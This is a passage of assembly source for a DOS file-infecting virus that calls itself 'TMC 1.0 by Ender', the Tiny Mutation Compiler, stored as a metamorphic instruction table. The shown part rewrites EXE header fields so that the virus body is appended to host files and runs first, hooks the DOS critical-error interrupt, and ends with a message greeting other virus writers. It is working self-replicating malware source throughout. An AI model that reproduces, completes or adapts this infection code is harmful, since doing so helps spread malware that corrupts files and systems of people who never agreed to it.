initial_ss_ db 03h ; Three bytes instruction mov ax,[si+10h] ; AX = initial SP db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial SP db 11101101b ; Data reference dw 138ch ; Pointer to initial_sp_ db 03h ; Three bytes instruction mov ax,[si+14h] ; AX = initial IP db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial IP db 11101101b ; Data reference dw 138bh ; Pointer to initial IP db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial IP db 11101101b ; Data reference dw 1773h ; Pointer to incorrec_ip db 03h ; Three bytes instruction mov ax,[si+16h] ; AX = initial CS relative to star... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial CS relative to sta... db 11101101b ; Data reference dw 1389h ; Pointer to initial_cs_ db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push dx ; Save DX at stack db 05h ; Five bytes instruction mov [si+0ch],0ffffh ; Store maximum paragraphs to allo... db 05h ; Five bytes instruction mov [si+10h],7ffeh ; Store initial SP db 05h ; Five bytes instruction mov word ptr [si+14h],00h db 03h ; Three bytes instruction mov cx,10h ; Divide by paragraphs db 02h ; Two bytes instruction div cx ; DX:AX = filesize in paragraphs db 03h ; Three bytes instruction sub ax,[si+08h] ; Subtract header size in paragrap... db 01h ; One byte instruction inc ax ; Increase initial CS/SS relative ... db 03h ; Three bytes instruction mov [si+0eh],ax ; Store initial SS relative to sta... db 03h ; Three bytes instruction mov [si+16h],ax ; Store initial CS relative to sta... db 03h ; Three bytes instruction mov ax,[si+04h] ; AX = total number of 512-byte pa... db 01h ; One byte instruction inc ax ; Increase total number of 512-byt... db 02h ; Two bytes instruction mov cl,05h ; Divide by thirty-two db 02h ; Two bytes instruction shl ax,cl ; AX = total number of 512-byte pa... db 03h ; Three bytes instruction sub ax,[si+08h] ; Subtract header size in paragrap... db 03h ; Three bytes instruction add ax,[si+0ah] ; Add maximum paragraphs to alloca... db 02h ; Two bytes instruction mov di,ax ; DI = minimum paragraphs to alloc... db 01h ; One byte instruction pop cx ; Load CX from stack (DX) db 01h ; One byte instruction pop dx ; Load DX from stack (AX) db 03h ; Three bytes instruction and dx,1111111111110000b db 03h ; Three bytes instruction add dx,10h ; DX = low-order word of offset fr... db 03h ; Three bytes instruction adc cx,00h ; CX = high-order word of offset f... db 03h ; Three bytes instruction mov ax,4200h ; Set current file position (SOF) db 02h ; Two bytes instruction int 21h db 03h ; Three bytes instruction add ax,1234h ; AX = length of virus db 11101101b ; Data reference dw 66h ; Pointer to virus_end db 03h ; Three bytes instruction adc dx,00h ; Convert to 32-bit db 03h ; Three bytes instruction mov cx,200h ; Divide by pages db 02h ; Two bytes instruction div cx ; DX:AX = filesize in pages db 03h ; Three bytes instruction mov [si+02h],dx ; Store number of bytes in last 51... db 03h ; Three bytes instruction add dx,0ffffh ; Add sixty-five thousand five hun... db 03h ; Three bytes instruction adc ax,00h ; Convert to 32-bit db 03h ; Three bytes instruction mov [si+04h],ax ; Store total number of 512-byte p... db 05h ; Five bytes instruction mov [si+0ah],800h ; Store minimum paragraphs of memo... db 01h ; One byte instruction inc ax ; Store total number of 512-byte p... db 02h ; Two bytes instruction mov cl,05h ; Divide by thirty-two db 02h ; Two bytes instruction shl ax,cl ; AX = total number of 512-byte pa... db 03h ; Three bytes instruction sub ax,[si+08h] ; Subtract header size in paragrap... db 03h ; Three bytes instruction add ax,[si+0ah] ; Add maximum paragraphs to alloca... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store new size in paragraphs db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 02h ; Two bytes instruction sub di,ax ; DI = additional minimum paragrap... db 01110110b+10000000b ; Below or equal? Jump to dont_add... dw 1396h ; Pointer to dont_add_mem db 03h ; Three bytes instruction add [si+0ah],di ; Add additional minimum paragraph... db 11101001b ; JMP imm16 (opcode 0e9h) dw 1396h ; Pointer to dont_add_mem db 11101111b ; End of block dont_add_mem db 11101110b ; Beginning of block dw 1396h ; Block identification of dont_add... db 03h ; Three bytes instruction mov ax,14h ; AX = probability of storing inco... db 04h ; Four bytes instruction cmp ds:[1234h],ax ; Store incorrect IP? db 11101101b ; Data reference dw 0bech ; Pointer to probability_ db 03h ; Three bytes instruction mov ax,00h ; ADD [BX+SI],AL (opcode 00h,00h) db 01110111b+10000000b ; Above? Jump to write_virus dw 138eh ; Pointer to write_virus db 03h ; Three bytes instruction mov bp,10h ; Random number within sixteen db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd5h ; Pointer to rnd_in_rang db 02h ; Two bytes instruction sub al,08h ; Subtract eight from random number db 03h ; Three bytes instruction mov di,1234h ; DI = offset of incorrec_ip db 11101101b ; Data reference dw 1773h ; Pointer to incorrec_ip db 03h ; Three bytes instruction add [di+01h],al ; Add random number to incorrect IP db 06h ; Six bytes instruction mov ds:[00h],1110110100110011b db 03h ; Three bytes instruction mov ax,1001000010010000b db 11101001b ; JMP imm16 (opcode 0e9h) dw 138eh ; Pointer to write_virus db 11101111b ; End of block int24_virus db 11101110b ; Beginning of block dw 1770h ; Block identification of int24_virus db 02h ; Two bytes instruction mov al,03h ; Fail system call in progress db 01h ; One byte instruction iret ; Interrupt return db 11101111b ; End of block int24_store db 11101110b ; Beginning of block dw 13a4h ; Block identification of int24_store db 01h ; One byte instruction push dx ; Save DX at stack db 01h ; One byte instruction push ds ; Save DS at stack db 01h ; One byte instruction push es ; Save ES at stack db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop ds ; Load DS from stack (CS) db 03h ; Three bytes instruction mov ax,3524h ; Get interrupt vector 24h db 02h ; Two bytes instruction int 21h db 04h ; Four bytes instruction mov ds:[1234h],es ; Store segment of interrupt 24h db 11101101b ; Data reference dw 13a2h ; Pointer to int24_seg db 04h ; Four bytes instruction mov ds:[1234h],bx ; Store offset of interrupt 24h db 11101101b ; Data reference dw 13a3h ; Pointer to int24_off db 03h ; Three bytes instruction mov dx,1234h ; DX = offset of int24_virus db 11101101b ; Data reference dw 1770h ; Pointer to int24_virus db 03h ; Three bytes instruction mov ax,2524h ; Set interrupt vector 24h db 02h ; Two bytes instruction int 21h db 01h ; One byte instruction pop es ; Load ES from stack db 01h ; One byte instruction pop ds ; Load DS from stack db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction ret ; Return db 11101111b ; End of block int24_load db 11101110b ; Beginning of block dw 13a5h ; Block identification of int24_load db 01h ; One byte instruction push ds ; Save DS at stack db 05h ; Five bytes instruction mov dx,cs:[1234h] ; DX = offset of interrupt 24h db 11101101b ; Data reference dw 13a3h ; Pointer to int24_off db 05h ; Five bytes instruction mov ds,cs:[1234h] ; DS = segment of interrupt 24h db 11101101b ; Data reference dw 13a2h ; Pointer to int24_seg db 03h ; Three bytes instruction mov ax,2524h ; Set interrupt vector 24h db 02h ; Two bytes instruction int 21h db 01h ; One byte instruction pop ds ; Load DS from stack db 01h ; One byte instruction ret ; Return db 11101111b ; End of block push_regs db 11101110b ; Beginning of block dw 13a0h ; Block identification of push_regs db 05h ; Five bytes instruction pop cs:[1234h] ; Load 16-bit immediate from stack db 11101101b ; Data reference dw 13aah ; Pointer to imm16 db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push bx ; Save BX at stack db 01h ; One byte instruction push cx ; Save CX at stack db 01h ; One byte instruction push dx ; Save DX at stack db 01h ; One byte instruction push si ; Save SI at stack db 01h ; One byte instruction push di ; Save DI at stack db 01h ; One byte instruction push bp ; Save BP at stack db 01h ; One byte instruction push ds ; Save DS at stack db 01h ; One byte instruction push es ; Save ES at stack db 05h ; Five bytes instruction jmp cs:[1234h] db 11101101b ; Data reference dw 13aah ; Pointer to imm16 db 11101111b ; End of block pop_regs db 11101110b ; Beginning of block dw 13a1h ; Block identification of pop_regs db 05h ; Five bytes instruction pop cs:[1234h] ; Load 16-bit immediate from stack db 11101101b ; Data reference dw 13aah ; Pointer to imm16 db 01h ; One byte instruction pop es ; Load ES from stack db 01h ; One byte instruction pop ds ; Load DS from stack db 01h ; One byte instruction pop bp ; Load BP from stack db 01h ; One byte instruction pop di ; Load DI from stack db 01h ; One byte instruction pop si ; Load SI from stack db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction pop cx ; Load CX from stack db 01h ; One byte instruction pop bx ; Load BX from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 05h ; Five bytes instruction jmp cs:[1234h] db 11101101b ; Data reference dw 13aah ; Pointer to imm16 db 11101111b ; End of block int21_addr db 11101110b ; Beginning of block dw 0c9h ; Block identification of int21_addr db 04h+10h ; Four bytes data dd 00h ; Address of interrupt 21h db 11101111b ; End of block int21_seg db 11101110b ; Beginning of block dw 13a2h ; Block identification of int24_seg db 02h+10h ; Two bytes data dw 00h ; Segment of interrupt 24h db 11101111b ; End of block int21_off db 11101110b ; Beginning of block dw 13a3h ; Block identification of int24_off db 02h+10h ; Two bytes data dw 00h ; Offset of interrupt 24h db 11101111b ; End of block imm16 db 11101110b ; Beginning of block dw 13aah ; Block identification of imm16 db 02h+10h ; Two bytes data dw 00h ; 16-bit immediate db 11101111b ; End of block exe_header db 11101110b ; Beginning of block dw 138fh ; Block identification of exe_header db 18h+10h ; Twenty-four bytes data db 18h dup(00h) ; EXE header db 11101111b ; End of block timer_ticks db 11101110b ; Beginning of block dw 13adh ; Block identification of timer_ticks db 02h+10h ; Two bytes data dw 00h ; Timer ticks since midnight db 11101111b ; End of block file_time db 11101110b ; Beginning of block dw 12ch ; Block identification of file_time db 02h+10h ; Two bytes data dw 00h ; File time db 11101111b ; End of block file_date db 11101110b ; Beginning of block dw 12dh ; Block identification of file_date db 02h+10h ; Two bytes data dw 00h ; File date db 11101111b ; End of block progra_seg db 11101110b ; Beginning of block dw 139fh ; Block identification of progra_seg db 02h+10h ; Two bytes data dw 00h ; Segment of PSP for current process db 11101111b ; End of block file_handle db 11101110b ; Beginning of block dw 139dh ; Block identification of file_handle db 02h+10h ; Two bytes data dw 00h ; File handle db 11101111b ; End of block filename db 11101110b ; Beginning of block dw 139eh ; Block identification of filename db (filena_end-filena_begin)+10h filena_begin: db 07h dup(00h,01h,02h,03h,04h,05h,06h,07h,08h,09h,0ah) filena_end: db 11101111b ; End of block message db 11101110b ; Beginning of block dw 2328h ; Block identification of message db (message_end-messag_begin)+10h messag_begin db 0dh,0ah db 0dh,0ah db 'ў TMC 1.0 by Ender ў',0dh,0ah db 'Welcome to the Tiny Mutation Compiler!',0dh,0ah db 'Dis is level 6*9.',0dh,0ah db 'Greetings to virus makers: Dark Avenger, Vyvojar, SVL, Hell Angel',0dh,0ah db 'Personal greetings: K. K., Dark Punisher',0dh,0ah db 0dh,0ah message_end: db 11101111b ; End of block db 00h ; End of table table_end: code_end: end code_begin